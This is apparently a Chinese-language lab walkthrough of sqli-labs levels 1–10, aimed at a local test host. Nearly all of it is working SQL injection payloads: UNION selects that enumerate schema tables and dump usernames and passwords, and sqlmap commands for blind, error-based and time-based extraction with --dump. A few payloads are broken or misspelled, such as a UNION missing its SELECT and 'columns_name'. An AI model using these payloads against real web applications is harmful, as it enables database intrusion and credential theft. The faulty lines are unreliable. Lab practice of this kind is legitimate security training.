Less-1
1、看报错类型,确定注入点
?id=1' order by 4--++
2、确定数据库
?id=-1' union select 1,2,3--++
3、查看数据库
?id=-1' union select 1,2,database();--++
4、查看数据库中的表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--++
5、提取security数据库中的users表的信息
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--++
6、提取users表中的用户名和密码,注入完成
?id=1' union select 1,2,group_concat(username,"+",password) from security.users--++
Less - 2
1、直接测试报错
?id=1 order by 4--++
2、查询当前数据库名
?id=-1 union select 1,2,database();--++
3、查看当前数据库所有表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database();--++
4、查看users表的结构信息
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--++
5、查询users表中的用户名和密码
?id=-1 union select 1,group_concat(username,"+",password),3 from security.users--++
Less - 3
1、测试报错,查看注入点
?id=1") order by 4--++
2、查看当前用户、数据库版本、当前数据库
?id=1') union select 1,2,group_concat(user(),"+",version(),"+",database());--++
3、查看security库中的表
?id=1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';--++
4、查看users表的结构
?id=1') union select 1,2,group_concat(columns_name) from information_schema.columns where table_name='users';--++
5、查看users表中的username和password,完成注入
?id=1') union select 1,2,group_concat(username,"+",password) from security.users;--++
Less - 4
1、测试报错,查找注入点
?id=1") order by 4--++
2、查看当前用户、数据库版本、当前数据库
?id=-1") union select 1,2,group_concat(user(),"+",version(),"+",database());--++
3、查看security库中的表
?id=-1") union group_concat(tables_name) from information_schema.tables where table_schema='security';--++
4、查看users表的结构,语句与上一关差不多
5、查看users表中的username和password,完成注入
Less - 5
1、测试报错
?id=1' order by 3--+
不报错,但无回显
?id=1' order by 4--+
报错,确定存在注入点
?id=1' union select 1,2,3--+
无数据回显,可能需要盲注
2、用sqlmap跑一下,测试报错注入
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'"
3、查询所有数据库
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" --dbs -v 3
4、查询当前数据库
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" --current-db -v 3
5、查询当前数据库下的表
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" --tables -v 3
6、发现有一个名为users的表,查询users的所有字段名
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" -T"users" --columns -v 3
7、发现username和password字段,查询这两个字段
sqlmap -u "http://192.168.40.128:86/Less-5/?id=1'" -D"security" -T"users" -C"username,password" --dump -v 3
Less - 6
1、测试报错
http://192.168.40.128:86/Less-6/?id=1" order by 3--+
没有报错,但是也没有数据回显
http://192.168.40.128:86/Less-6/?id=1" order by 4--+
报错,确定存在注入点
2、查询无回显,需要盲注
http://192.168.40.128:86/Less-6/?id=1" union select 1,2,3--+
3、使用sqlmap测试注入点
sqlmap -u http://192.168.40.128:86/Less-6/?id=1" -v 3
4、使用sqlmap盲注查询所有数据库
sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' --dbs
5、sqlmap查询当前数据库
sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' --current-db -v 3
6、sqlmap查询当前数据库security下的所有表
sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" --tables -v 3
7、发现存在users表,查询该表中的所有字段
sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" -T"users" --columns -v 3
8、发现username和password字段,查询这两个字段的内容
sqlmap -u 'http://192.168.40.128:86/Less-6/?id=1"' -D"security" -T"users" -C"username,password" --dump -v 3
Less - 7
1、测试报错
http://192.168.40.128:86/Less-7/?id=1')) order by 4--+
2、sqlmap测试报错注入点
sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -v 3
3、sqlmap查询当前数据库
sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" --current-db -v 3
4、sqlmap查询当前数据库下的所有表
sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" --tables -v 3
5、发现存在users表,查询该表下所有字段名
sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" -T"users" --columns -v 3
6、发现字段username和password,查询内容
sqlmap -u "http://192.168.40.128:86/Less-7/?id=1'))" -D"security" -T"users" -C"username,password" --dump -v 3
Less - 8
1、测试报错
2、直接sqlmap跑注入点
sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -v 3
3、sqlmap查询当前用户
sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' --current-user -v 3
4、sqlmap查询所有数据库
5、查询当前数据库
sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' --current-db -v 3
6、查询当前数据库下的所有表
sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -D"security" --tables -v 3
7、发现users表,查询表中所有字段
sqlmap -u 'http://192.168.40.128:86/Less-8/?id=1%22' -D"security" -T"users" --columns -v 3
Less - 9
1、测试单双引号和字符均无报错,直接sqlmap测试
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -v 3
2、查询所有数据库
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" --dbs -v 3
3、查询当前数据库与用户名
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" --current-db --current-user -v 3
4、查询当前数据库下的所有表
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" --tables -v 3
5、发现users表,查询字段
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" -T"users" --columns -v 3
6、发现username和password字段,查询内容
sqlmap -u "http://192.168.40.128:86/Less-9/?id=1" -D"security" -T"users" -C"username,password" --dump -v 3
Less - 10
1、使用sqlmap进行延时注入,level设置为3,可以测试双字符,线程设置为10
sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -v 3 -level 3 --time-sec 9
Payload: id=1" AND (SELECT 3880 FROM (SELECT(SLEEP(9)))aNIN) AND "Rweq"="Rweq
2、sqlmap测试当前数据库
sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -v 3 -level 3 --time-sec 9 --current-db
当前数据库名:security
3、sqlmap测试当前数据库下的表名
sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -level 3 --time-sec 9 -D"security" --tables -v 3
当前数据库security下存在的表:emails、referes、uagents、users
4、直接爆数据
sqlmap -u "http://192.168.40.128:86/Less-10/?id=1" -p id --technique T -threads 10 -level 3 --time-sec 9 -D"security" -T"users" -C"username,password" --dump -v 3